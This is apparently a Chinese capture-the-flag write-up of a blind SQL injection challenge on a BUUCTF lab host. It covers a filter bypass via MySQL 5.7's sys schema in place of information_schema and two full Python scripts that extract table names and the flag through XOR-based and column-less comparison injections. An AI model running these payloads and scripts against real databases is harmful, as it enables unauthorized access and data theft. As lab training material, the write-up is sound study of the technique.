先试一下万能密码
1' or 1=1#

发现有过滤,fuzz看一下过滤了什么

if,|,|| 没过滤,过滤了information_schema
MySQL5.7新特性:
由于performance_schema过于复杂,所以mysql在5.7版本中新增了sys schemma,基础数据来自于performance_chema和information_schema两个库,本身数据库不存储数据。
information_schema.tables可以用sys.schema_table_statistics_with_buffer或sys.x$schema_table_statistics_with_buffer代替。
脚本:
- import requests
- import time
- flag=""
- src = "qwertyuiopasdfghjklzxcvbnm|1234567890?{_+}-=;',./<>!@#$%^&*()\""
-
- url = "http://19fd2d53-da0b-4dc7-9a3d-cf3e98da329e.node4.buuoj.cn:81/index.php"
-
- for i in range(1,50):
- print(i)
- for j in src:
- pyload ={
-
- "id":"1^(ascii(substr((select group_concat(table_name)from sys.schema_table_statistics_with_buffer where table_schema=database()),%d,1))=%d)^1" % (i, ord(j))
-
- }
- time.sleep(0.5)
- res=requests.post(url=url, data=pyload)
- if 'Nu1L' in res.text:
- print(i)
- flag+=j
- print(flag)
- break
-
- #users233333333333333, f1ag_1s_h3r3_hhhhh
这里 涉及到的是无列名注入
比较方式就是按照位比较ASCII大小,大的就大,举个例子
asd > abc
asd < flag
asd > absadasda
只要出现了大,那就是大
所以下面就是按照ASCII顺序去比较字符串,最后要减1是因为我们拿的是大于嘛,减1就是等于了
- import requests
- import time
-
- url='http://19fd2d53-da0b-4dc7-9a3d-cf3e98da329e.node4.buuoj.cn:81/index.php'
- flag=''
- for j in range(1,50):
- for i in range(32,128):
- hexchar=flag+chr(i)
- payload='-1||((select 1,"{}")>(select * from f1ag_1s_h3r3_hhhhh))'.format(hexchar)
- datas={'id':payload}
- print(payload)
- time.sleep(0.5)
- re=requests.post(url=url,data=datas)
- if 'Nu1L' in re.text:
- flag+=chr(i-1)
- print(flag)
- break
-
- print(flag.lower())
得到flag的字母是大写的,改成小写就行了